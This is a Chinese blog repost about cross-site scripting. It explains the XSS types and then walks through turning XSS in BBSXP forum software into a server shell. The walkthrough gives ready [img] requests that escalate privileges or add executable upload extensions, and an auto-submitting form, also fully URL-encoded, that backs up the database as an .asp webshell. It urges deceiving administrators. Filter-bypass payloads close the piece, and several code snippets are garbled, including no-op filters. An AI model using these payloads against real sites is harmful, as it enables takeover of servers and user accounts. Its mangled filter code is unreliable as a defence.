测试的那些事

XSS跨站脚本攻击:简述(转)

上一篇 / 下一篇  2010-01-11 10:04:00 / 个人分类:WEB安全

Cross-site scripting (XSS):跨站脚本是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。近来,这种类型的漏洞被用来编写危害性更大的phishing攻击和利用浏览器漏洞。

产生背景

当Netscape 首先引入JavaScript语言时,他们便认识到这些允许web服务器发送可执行代码给浏览器所带来的安全风险。其中的一个关键问题是往往用户一次打开 一个以上的浏览器窗口。在一些场合中,来自一个页面的脚本应被允许访问来自另一个页面或者对象的数据,但这在其它的一些场合中是被严格禁止——因为一些恶 意站点可以使用此方式盗取敏感信息。出于这一原因,同源策略被制定了。此策略允许对象和页面之间进行任何交互,但这些对象要来自于页面所在同一域名和同一协议。这样,恶意站点就不能通过另一个浏览器窗口中的JavaScript访问敏感数据。

至此,其它一些类似的、用于防止用户被恶意站点侵害的访问控制策略已经被其它浏览器和客户端脚本语言所采取。

通常,XSS漏洞被视为允许攻击者越过这些机制的漏洞。通过寻找新的脚本侵入途径——将恶意脚本注入位于其它域名的页面,攻击者获得了敏感页面内容、会话cookie、其它对象变量的访问权限。

名词

XSS并不是对于此类漏洞的精确描述。按照XSS先驱Marc Slemko的说法:“这个问题不是关于脚本的,实现跨站没有所必需的任何东西。那么为什么这样称呼呢?因为它最早被杜撰出来时大家对于XSS这个问题并没有很透彻的认识。”

早 期的CSS被用来指跨站脚本漏洞,但这个名字很快就和级联样式表(Cascading Style. Sheets)、内容编码系统(Content-scrambling system)的缩写产生冲突。因此在2002年,XSS这个缩写的缔造者Steve在Bugtraq邮件列表上首次建议使用XSS作为跨站脚本的缩写。 随后各大安全社区很快便使用了XSS,而CSS很少被用来指跨站脚本了。

XSS的类型

XSS漏洞目前具有三种不同的类型。出于讨论的目的,这里标记为类型0、类型1、类型2。

类型0

此 形式的XSS漏洞涉及到基于DOM或者为本地跨站脚本的漏洞。此类型漏洞存在于页面中客户端脚本自身。例如:如果JavaScript代码访问URL请求 参数并使用这个信息在自身所在的页面中输出一些HTML,而这个信息没有使用HTML实体编码,因为这个被输出的HTML数据(可能包含附加的客户端脚 本)可以重新被浏览器进行解释执行,所以出现了此类型的XSS漏洞。

在实际环境中,利用 这样一个漏洞和利用类型1的漏洞非常相似,除了一个非常重要的条件。由于Internet Explorer对待位于本地域(比如在客户端本地硬盘中)的对象中的客户端脚本的方式,此类性XSS漏洞在本地页面中能呈现出远程执行漏洞的效果。例 如,如果一个攻击者建立了恶意web主机,其主机中包括了一些链接到客户端本地系统的具有漏洞的页面,脚本便能被注入用户浏览器、并以用户浏览器权限运 行。这便越过了这个客户端沙箱,而不是跨域限制。

类型1

这 种XSS漏洞涉及一些非持久化的或者反射的漏洞。这些漏洞出现在web客户端使用server端脚本生成页面为用户提供数据时。如果未经验证的用户数据被 包含在页面中而未经HTML实体编码,这便使客户端代码能够注入到动态页面中。一个经典的例子是站点搜索引擎:当进行一次对于某个包含一些特殊HTML字 符的关键词的搜索,通常搜索关键词将显示在搜索结果页面中用来标记哪些信息被搜索,或者至少要在编辑文本框中显示搜索关键词。如果这个搜索关键词没有被 HTML实体所编码,那么将出现类型1的XSS漏洞。

首先,这不会出现严重的问题,因为 用户只能在他们自己的页面中注入代码。但是在少量的案例中,攻击者能够欺骗用户随着一个注入代码的恶意URL而进入搜索结果页面,这使攻击者拥有访问页面 内容的所有权限。对于这种情况,一些开发者并不认为它是多么的可怕。这个错误的概念有时被应用到对待XSS漏洞上,这也是安全社区所不同意的,后者认为跨 站脚本漏洞非常值得重视。

类型2

类 型2的XSS漏洞涉及到被存储的、持久化的或者二次的漏洞。它允许多种危害巨大的攻击。此类型XSS漏洞出现于当web应用提供数据的情况下,此时这些数 据首先被用户持久化保存到服务器上,然后被显示在页面中但没有经过HTML实体编码。一个经典的实例是在线留言版,用户被允许发布提供给其他用户读取的 HTML格式的信息。

这些漏洞常比前两种漏洞影响深远,因为攻击者能够一次性注入脚本。这便潜在地给web应用带来了被注入跨站脚本病毒的危险。

注入的方法多种多样,攻击者可以无需使用web应用本身便可以利用此漏洞。被web应用接收的任何数据(通过电子邮件、系统日志等)可以被攻击者控制,所以在显示在动态页面中这些数据之前要进行编码。

利用XSS漏洞的场合

攻击者尝试利用XSS漏洞的方式按照漏洞的类型有所不同。

类型0攻击

  1. Mallory发送一个恶意构造了web页面的URL给Alice(通过电子邮件或者其它机制)。
  2. Alice点击链接
  3. 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Alice电脑上。
  4. 具有漏洞的HTML页面包含了在Alice电脑本地域执行的JavaScript。
  5. Mallory的恶意脚本可以在Alice的电脑上执行Alice所持有的权限下的命令。

类型1攻击

  1. Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
  2. Mallory发现Bob的站点包含反射性的XSS漏洞。
  3. Mallory编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
  4. Alice在登录到Bobde1站点后,浏览Mallory提供的URL。
  5. 嵌入到URL中的恶意脚步在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Mallory的web站点。

类型2攻击

  1. Bob拥有一个web站点,这站点允许用户发布信息/浏览已发布的信息。
  2. Mallory注意到Bob的站点具有类型2的XXS漏洞。
  3. Mallory发布一个热点信息,以使其它用户纷纷阅读。
  4. 在大量对此信息的浏览中,站点用户的会话cookies或者其它证书将被Mallory盗走。
  5. 而后,Mallory作为其它用户登录站点伪装为他们继续发布恶意信息。

一、什么是XSS攻击

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意 用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技 术虽然是老技术,但是其思路希望对大家有帮助。

如何寻找XSS漏洞

就个人而言,我把XSS攻击分成两类, 一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部 的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后 构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

然后利用下面的技术得到一个shell.

如何利用

传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户 的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多 数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决 上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的 介绍这种技术。

二、来自内部的跨站攻击

寻找跨站漏洞

如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有 要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入<script>alert(‘test’)< /script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一 个</script>,代码就会执行,如:你在标题处输入</script><script>alert (‘test’)</script>,这样就可以弹出一个test的框。

如何利用

我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.


a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:

[img]http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1&regtime=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&Submit=+%B8%FC+%D0%C2+[/img]

c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。

d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示

除此之外我们只要在个人签名里输入

[img]http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]

同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.


上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。

再利用如下:

修改一下个人头像的url,输入代码如下: admin_setup.asp?

menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar

再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像 url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。

三、来自外部的跨站攻击

有的时候,当我们对于目标程序找不到可以利用的跨站 点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写 入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

例:先上传一个文件linzi.txt,内容如下:

<body nload="javascript.:document.forms[0].submit()"><form.
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="/database/bbsxp.mdb" name="yl" ><input value="/database/shit.asp" name="bf" ></body></html>

上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:

http://127.0.0.1/bbsxp/page2.asp?username=

我们构造备份跨站语句如下:

http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

当管理员打开后,会自动备份得到一个shell.

 四、XSS与其它技术的结何

从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用 iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

网 络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由 于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路。

还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:

恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器

这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!

1 什么是HTml输入?

这里给出一个HTml代码的示例

以下是引用片段:
<img src=http://tech.ddvip.com/2006-08/"http://www.loveshell.jpg"; width=100 nerror=alert("载入图片错误!")>

很多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记,img是这个Html标记的名称, src是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记 是包括很多元素的,并不是传统意义上的只有输入<>才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实 现了跨站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要<>的,因为现在的Ubb标签已经让你处在了Html标记之内,很有意思,不是 么?

2 哪里才是罪恶的来源?

既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地 方可以引入HTml代码吧!如果用户可以不受限制的引入<>,那么很显然他可以完全操纵一个Html标记,譬如 这样的形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是<>,通过如下代码:

过滤代码:

replace(str,"<","<")
replace(str,">",">")
好了,用户可能不能构造自己的HTml标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:

<img src="javascript.:alert(/xss/)" width=100>

因为很多的Html标记里属性都支持javascript.:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:

过滤代码

以下是引用片段:
Dim re 
Set re=new RegExp 
re.IgnoreCase =True 
re.Global=True 
re.Pattern="javascript.:" 
Str = re.replace(Str,"javascript:") 
re.Pattern="jscript.:" 
Str = re.replace(Str,"jscript:") 
re.Pattern="vbscript.:" 

Str = re.replace(Str,"vbscript:") 
set re=nothing 

你看,只要发现以javascript等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上Html属性的值,注意是值而不是属性本身是支持&#ASCii这种形式表示的,譬如上面的代码可以换成这样:

以下是引用片段:
<img src="javascript.:alert(/xss/)" width=100>

代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!

以下是引用片段:
replace(str,"&","&")

行了,&失去它原来的意义了,用户不能以其他方式表示Html属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:

以下是引用片段:
<img src="javas cript:alert(/xss/)" width=100>

没有javascript关键字了哦!注意中间那个是tab键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有 人想到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的src属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制 哦!依然是可以执行Html代码的,首先说说事件机制吧:

以下是引用片段:
<img src="#" nerror=alert(/xss/)>

这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要 onerror么?很多人开始用正则表达式了,发现关键的词如onerror就会做转换或者提示用户不执行,是不是没有机会了呢?
当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就可以实现自己弄出自己的属性了,试试下面的:


<img src="#" style="Xss:expression(alert(/xss/));">

呵呵,还是执行了哦!在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了(这样认为的人很多,呵呵)!将空格转成 是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:


<img src="#"/**/onerror=alert(/xss/) width=100>

嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上!

上面的问题好象本质上就是一个东西,那就是用户超越了他所处的标签,也就是数据和代码的混淆,对付这种混淆的办法就是限制监牢,让用户在一个安全的空间 内活动,这通过上面的分析大家也可能已经知道,只要在过滤了<>这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到""之间, 现在的一般的程序都是这样做的,譬如将会转化成 以下是引用片段:
<img src="http://www.loveshell.net";>  这是个好的安全习惯,然后呢?就要让用户的输入处在安全的领域里了,这可以通过过 滤用户输入里""实现,但是不要忘记了,这个标签本身也是不安全的,过滤掉空格和tab键就不用担心关键字被拆分饶过了,然后就是用文章中提到的办法过滤 掉script关键字,最后就是防止用户通过&#这样的形式饶过检查,转换掉&吧!

在文章中开始提到的图里可以 看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困 惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的就不愿意舍弃html标签, 所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限制,肯定就有人会饶过,呵 呵。本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解Xss,跨站,不是那么简单滴.

TAG: XSS 安全

 

评分:0

我来说两句

Open Toolbar